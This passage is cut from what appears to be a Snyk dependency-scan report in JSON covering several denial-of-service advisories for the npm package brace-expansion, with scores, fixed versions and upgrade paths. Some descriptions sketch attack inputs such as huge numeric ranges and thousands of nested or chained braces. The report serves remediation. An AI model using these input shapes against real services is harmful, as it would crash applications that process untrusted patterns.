"NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## 